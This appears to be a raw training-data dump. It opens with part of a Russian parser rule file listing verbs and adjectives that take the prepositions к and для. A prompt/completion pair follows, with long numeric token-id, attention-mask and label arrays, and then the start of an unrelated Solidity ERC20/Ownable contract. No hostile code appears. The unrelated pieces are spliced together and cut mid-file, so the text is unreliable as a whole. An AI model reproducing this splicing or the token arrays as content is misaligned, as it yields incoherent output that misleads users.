глагол:адаптироваться{вид:несоверш},
деепричастие:адаптировавшись{},
деепричастие:адаптируясь{},
прилагательное:адаптировавшийся{вид:соверш},
//+прилагательное:адаптировавшийся{вид:несоверш},
прилагательное:адаптирующийся{},
rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей
rus_verbs:близиться{}, // Шторм близится к побережью
rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне
rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки
rus_verbs:причислить{}, // Мы причислили его к числу экспертов
rus_verbs:вести{}, // Наша партия ведет народ к процветанию
rus_verbs:взывать{}, // Учителя взывают к совести хулигана
rus_verbs:воззвать{}, // воззвать соплеменников к оружию
rus_verbs:возревновать{}, // возревновать к поклонникам
rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью
rus_verbs:восходить{}, // восходить к вершине
rus_verbs:восшествовать{}, // восшествовать к вершине
rus_verbs:успеть{}, // успеть к обеду
rus_verbs:повернуться{}, // повернуться к кому-то
rus_verbs:обратиться{}, // обратиться к охраннику
rus_verbs:звать{}, // звать к столу
rus_verbs:отправиться{}, // отправиться к парикмахеру
rus_verbs:обернуться{}, // обернуться к зовущему
rus_verbs:явиться{}, // явиться к следователю
rus_verbs:уехать{}, // уехать к родне
rus_verbs:прибыть{}, // прибыть к перекличке
rus_verbs:привыкнуть{}, // привыкнуть к голоду
rus_verbs:уходить{}, // уходить к цыганам
rus_verbs:привести{}, // привести к себе
rus_verbs:шагнуть{}, // шагнуть к славе
rus_verbs:относиться{}, // относиться к прежним периодам
rus_verbs:подослать{}, // подослать к врагам
rus_verbs:поспешить{}, // поспешить к обеду
rus_verbs:зайти{}, // зайти к подруге
rus_verbs:позвать{}, // позвать к себе
rus_verbs:потянуться{}, // потянуться к рычагам
rus_verbs:пускать{}, // пускать к себе
rus_verbs:отвести{}, // отвести к врачу
rus_verbs:приблизиться{}, // приблизиться к решению задачи
rus_verbs:прижать{}, // прижать к стене
rus_verbs:отправить{}, // отправить к доктору
rus_verbs:падать{}, // падать к многолетним минимумам
rus_verbs:полезть{}, // полезть к дерущимся
rus_verbs:лезть{}, // Ты сама ко мне лезла!
rus_verbs:направить{}, // направить к майору
rus_verbs:приводить{}, // приводить к дантисту
rus_verbs:кинуться{}, // кинуться к двери
rus_verbs:поднести{}, // поднести к глазам
rus_verbs:подниматься{}, // подниматься к себе
rus_verbs:прибавить{}, // прибавить к результату
rus_verbs:зашагать{}, // зашагать к выходу
rus_verbs:склониться{}, // склониться к земле
rus_verbs:стремиться{}, // стремиться к вершине
rus_verbs:лететь{}, // лететь к родственникам
rus_verbs:ездить{}, // ездить к любовнице
rus_verbs:приближаться{}, // приближаться к финише
rus_verbs:помчаться{}, // помчаться к стоматологу
rus_verbs:прислушаться{}, // прислушаться к происходящему
rus_verbs:изменить{}, // изменить к лучшему собственную жизнь
rus_verbs:проявить{}, // проявить к погибшим сострадание
rus_verbs:подбежать{}, // подбежать к упавшему
rus_verbs:терять{}, // терять к партнерам доверие
rus_verbs:пропустить{}, // пропустить к певцу
rus_verbs:подвести{}, // подвести к глазам
rus_verbs:меняться{}, // меняться к лучшему
rus_verbs:заходить{}, // заходить к другу
rus_verbs:рвануться{}, // рвануться к воде
rus_verbs:привлечь{}, // привлечь к себе внимание
rus_verbs:присоединиться{}, // присоединиться к сети
rus_verbs:приезжать{}, // приезжать к дедушке
rus_verbs:дернуться{}, // дернуться к борту
rus_verbs:подъехать{}, // подъехать к воротам
rus_verbs:готовиться{}, // готовиться к дождю
rus_verbs:убежать{}, // убежать к маме
rus_verbs:поднимать{}, // поднимать к источнику сигнала
rus_verbs:отослать{}, // отослать к руководителю
rus_verbs:приготовиться{}, // приготовиться к худшему
rus_verbs:приступить{}, // приступить к выполнению обязанностей
rus_verbs:метнуться{}, // метнуться к фонтану
rus_verbs:прислушиваться{}, // прислушиваться к голосу разума
rus_verbs:побрести{}, // побрести к выходу
rus_verbs:мчаться{}, // мчаться к успеху
rus_verbs:нестись{}, // нестись к обрыву
rus_verbs:попадать{}, // попадать к хорошему костоправу
rus_verbs:опоздать{}, // опоздать к психотерапевту
rus_verbs:посылать{}, // посылать к доктору
rus_verbs:поплыть{}, // поплыть к берегу
rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе
rus_verbs:отнести{}, // отнести животное к ветеринару
rus_verbs:прислониться{}, // прислониться к стволу
rus_verbs:наклонить{}, // наклонить к миске с молоком
rus_verbs:прикоснуться{}, // прикоснуться к поверхности
rus_verbs:увезти{}, // увезти к бабушке
rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия
rus_verbs:подозвать{}, // подозвать к себе
rus_verbs:улететь{}, // улететь к теплым берегам
rus_verbs:ложиться{}, // ложиться к мужу
rus_verbs:убираться{}, // убираться к чертовой бабушке
rus_verbs:класть{}, // класть к другим документам
rus_verbs:доставлять{}, // доставлять к подъезду
rus_verbs:поворачиваться{}, // поворачиваться к источнику шума
rus_verbs:заглядывать{}, // заглядывать к любовнице
rus_verbs:занести{}, // занести к заказчикам
rus_verbs:прибежать{}, // прибежать к папе
rus_verbs:притянуть{}, // притянуть к причалу
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:подать{}, // он подал лимузин к подъезду
rus_verbs:подавать{}, // она подавала соус к мясу
rus_verbs:приобщаться{}, // приобщаться к культуре
прилагательное:неспособный{}, // Наша дочка неспособна к учению.
прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару
прилагательное:предназначенный{}, // Старый дом предназначен к сносу.
прилагательное:внимательный{}, // Она всегда внимательна к гостям.
прилагательное:назначенный{}, // Дело назначено к докладу.
прилагательное:разрешенный{}, // Эта книга разрешена к печати.
прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам.
прилагательное:готовый{}, // Я готов к экзаменам.
прилагательное:требовательный{}, // Он очень требователен к себе.
прилагательное:жадный{}, // Он жаден к деньгам.
прилагательное:глухой{}, // Он глух к моей просьбе.
прилагательное:добрый{}, // Он добр к детям.
rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам.
rus_verbs:плыть{}, // Пароход плыл к берегу.
rus_verbs:пойти{}, // я пошел к доктору
rus_verbs:придти{}, // придти к выводу
rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом.
rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений.
rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам.
rus_verbs:спускаться{}, // Улица круто спускается к реке.
rus_verbs:спуститься{}, // Мы спустились к реке.
rus_verbs:пустить{}, // пускать ко дну
rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью!
rus_verbs:отойти{}, // Дом отошёл к племяннику.
rus_verbs:отходить{}, // Коля отходил ко сну.
rus_verbs:приходить{}, // местные жители к нему приходили лечиться
rus_verbs:кидаться{}, // не кидайся к столу
rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу.
rus_verbs:закончиться{}, // Собрание закончилось к вечеру.
rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему.
rus_verbs:направиться{}, // Мы сошли на берег и направились к городу.
rus_verbs:направляться{},
rus_verbs:свестись{}, // Всё свелось к нулю.
rus_verbs:прислать{}, // Пришлите кого-нибудь к ней.
rus_verbs:присылать{}, // Он присылал к должнику своих головорезов
rus_verbs:подлететь{}, // Самолёт подлетел к лесу.
rus_verbs:возвращаться{}, // он возвращается к старой работе
глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{},
прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая.
rus_verbs:возвращать{}, // возвращать к жизни
rus_verbs:располагать{}, // Атмосфера располагает к работе.
rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому.
rus_verbs:поступить{}, // К нам поступила жалоба.
rus_verbs:поступать{}, // К нам поступают жалобы.
rus_verbs:прыгнуть{}, // Белка прыгнула к дереву
rus_verbs:торопиться{}, // пассажиры торопятся к выходу
rus_verbs:поторопиться{}, // поторопитесь к выходу
rus_verbs:вернуть{}, // вернуть к активной жизни
rus_verbs:припирать{}, // припирать к стенке
rus_verbs:проваливать{}, // Проваливай ко всем чертям!
rus_verbs:вбежать{}, // Коля вбежал ко мне
rus_verbs:вбегать{}, // Коля вбегал ко мне
глагол:забегать{ вид:несоверш }, // Коля забегал ко мне
rus_verbs:постучаться{}, // Коля постучался ко мне.
rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому
rus_verbs:понести{}, // Мы понесли кота к ветеринару
rus_verbs:принести{}, // Я принес кота к ветеринару
rus_verbs:устремиться{}, // Мы устремились к ручью.
rus_verbs:подводить{}, // Учитель подводил детей к аквариуму
rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения.
rus_verbs:пригласить{}, // Я пригласил к себе товарищей.
rus_verbs:собираться{}, // Я собираюсь к тебе в гости.
rus_verbs:собраться{}, // Маша собралась к дантисту
rus_verbs:сходить{}, // Я схожу к врачу.
rus_verbs:идти{}, // Маша уверенно шла к Пете
rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию.
rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию.
rus_verbs:заканчивать{}, // Заканчивайте к обеду
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:окончить{}, //
rus_verbs:дозвониться{}, // Я не мог к вам дозвониться.
глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор
rus_verbs:уйти{}, // Антонио ушел к Элеонор
rus_verbs:бежать{}, // Антонио бежит к Элеонор
rus_verbs:спешить{}, // Антонио спешит к Элеонор
rus_verbs:скакать{}, // Антонио скачет к Элеонор
rus_verbs:красться{}, // Антонио крадётся к Элеонор
rus_verbs:поскакать{}, // беглецы поскакали к холмам
rus_verbs:перейти{} // Антонио перешел к Элеонор
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } }
then return true
}
fact гл_предл
{
if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:к{} *:*{} }
then return false,-5
}
#endregion Предлог_К
#region Предлог_ДЛЯ
// ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ----------------------
wordentry_set Гл_ДЛЯ_Род={
частица:нет{}, // для меня нет других путей.
частица:нету{},
rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ)
rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ)
rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться)
rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ)
rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ)
rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ)
rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей
rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ)
rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ)
rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство
rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ)
rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ)
rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ)
rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ)
rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ)
rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ)
rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ)
rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ)
rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ)
rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ)
rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ)
rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ)
rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ)
rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ)
rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ)
rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ)
rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ)
rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ)
rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ)
rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ)
прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ)
rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ)
rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ)
rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ)
rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ)
rus_verbs:оставить{}, // или вообще решили оставить планету для себя
rus_verbs:оставлять{},
rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ)
rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ)
rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ)
rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ)
rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ)
rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ)
rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ)
rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ)
rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для)
rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ)
rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ)
rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ)
rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ)
rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ)
прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ)
прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ)
прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ)
rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ)
rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ)
rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ)
rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ)
rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ)
rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ)
rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ)
rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ)
rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ)
rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ)
rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ)
прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ)
rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ)
rus_verbs:вывести{}, // мы специально вывели этих животных для мяса.
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для)
rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ)
rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ)
rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ)
rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ)
rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ)
rus_verbs:найтись{}, // у вас найдется для него работа?
rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для)
rus_verbs:заехать{}, // Коля заехал для обсуждения проекта
rus_verbs:созреть{}, // созреть для побега
rus_verbs:наметить{}, // наметить для проверки
rus_verbs:уяснить{}, // уяснить для себя
rus_verbs:нанимать{}, // нанимать для разовой работы
rus_verbs:приспособить{}, // приспособить для удовольствия
rus_verbs:облюбовать{}, // облюбовать для посиделок
rus_verbs:прояснить{}, // прояснить для себя
rus_verbs:задействовать{}, // задействовать для патрулирования
rus_verbs:приготовлять{}, // приготовлять для проверки
инфинитив:использовать{ вид:соверш }, // использовать для достижения цели
инфинитив:использовать{ вид:несоверш },
глагол:использовать{ вид:соверш },
глагол:использовать{ вид:несоверш },
прилагательное:использованный{},
деепричастие:используя{},
деепричастие:использовав{},
rus_verbs:напрячься{}, // напрячься для решительного рывка
rus_verbs:одобрить{}, // одобрить для использования
rus_verbs:одобрять{}, // одобрять для использования
rus_verbs:пригодиться{}, // пригодиться для тестирования
rus_verbs:готовить{}, // готовить для выхода в свет
rus_verbs:отобрать{}, // отобрать для участия в конкурсе
rus_verbs:потребоваться{}, // потребоваться для подтверждения
rus_verbs:пояснить{}, // пояснить для слушателей
rus_verbs:пояснять{}, // пояснить для экзаменаторов
rus_verbs:понадобиться{}, // понадобиться для обоснования
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
rus_verbs:найти{}, // Папа нашел для детей няню
прилагательное:вредный{}, // Это вредно для здоровья.
прилагательное:полезный{}, // Прогулки полезны для здоровья.
прилагательное:обязательный{}, // Этот пункт обязателен для исполнения
прилагательное:бесполезный{}, // Это лекарство бесполезно для него
прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления
rus_verbs:создать{}, // Он не создан для этого дела.
прилагательное:сложный{}, // задача сложна для младших школьников
прилагательное:несложный{},
прилагательное:лёгкий{},
прилагательное:сложноватый{},
rus_verbs:становиться{},
rus_verbs:представлять{}, // Это не представляет для меня интереса.
rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка
rus_verbs:пройти{}, // День прошёл спокойно для него.
rus_verbs:проходить{},
rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ
rus_verbs:высаживаться{},
rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца.
rus_verbs:прибавить{},
rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов.
rus_verbs:составлять{},
rus_verbs:стараться{}, // Я старался для вас
rus_verbs:постараться{}, // Я постарался для вас
rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста.
rus_verbs:собраться{}, // собраться для обсуждения
rus_verbs:собираться{}, // собираться для обсуждения
rus_verbs:уполномочивать{},
rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров
rus_verbs:принести{}, // Я принёс эту книгу для вас.
rus_verbs:делать{}, // Я это делаю для удовольствия.
rus_verbs:сделать{}, // Я сделаю это для удовольствия.
rus_verbs:подготовить{}, // я подготовил для друзей сюрприз
rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз
rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села
rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села
rus_verbs:прибыть{} // они прибыли для участия
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } }
then return true
}
fact гл_предл
{
if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:для{} *:*{} }
then return false,-4
}
#endregion Предлог_ДЛЯ
#region Предлог_ОТ
// попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_ОТ_Род_Запр=
{
rus_verbs:наслаждаться{}, // свободой от обязательств
rus_verbs:насладиться{},
rus_verbs:мочь{}, // Он не мог удержаться от смеха.
// rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:чувствовать{}, // все время от времени чувствуют его.
rus_verbs:планировать{},
rus_verbs:приняться{} // мы принялись обниматься от радости.
}
fact гл_предл
{
if context { Глаг_ОТ_Род_Запр предлог:от{} * }
then return false
}
#endregion Предлог_ОТ
#region Предлог_БЕЗ
/*
// запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных.
wordentry_set Глаг_БЕЗ_Род_Запр=
{
rus_verbs:мочь{}, // Он мог читать часами без отдыха.
rus_verbs:хотеть{},
rus_verbs:желать{},
rus_verbs:планировать{},
rus_verbs:приняться{}
}
fact гл_предл
{
if context { Глаг_БЕЗ_Род_Запр предлог:без{} * }
then return false
}
*/
#endregion Предлог_БЕЗ
#region Предлог_КРОМЕ
fact гл_предл
{
if context { * ПредлогДляВсе * }
then return false,-5
}
#endregion Предлог_КРОМЕ
// ------------------------------------
// По умолчанию разрешаем все остальные сочетания.
fact гл_предл
{
if context { * * * }
then return true
}
| охватывать в хронологии
| rus_verbs:охватывать{}, | 5,482,472 | [
1,
145,
127,
146,
232,
145,
115,
145,
113,
146,
229,
146,
238,
145,
115,
145,
113,
146,
229,
146,
239,
225,
145,
115,
225,
146,
232,
146,
227,
145,
127,
145,
126,
145,
127,
145,
124,
145,
127,
145,
116,
145,
121,
145,
121,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
436,
407,
67,
502,
2038,
30,
145,
127,
146,
232,
145,
115,
145,
113,
146,
229,
146,
238,
145,
115,
145,
113,
146,
229,
146,
239,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
//event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
//function renounceOwnership() public onlyOwner {
// emit OwnershipRenounced(owner);
// owner = address(0);
//}
}
/**
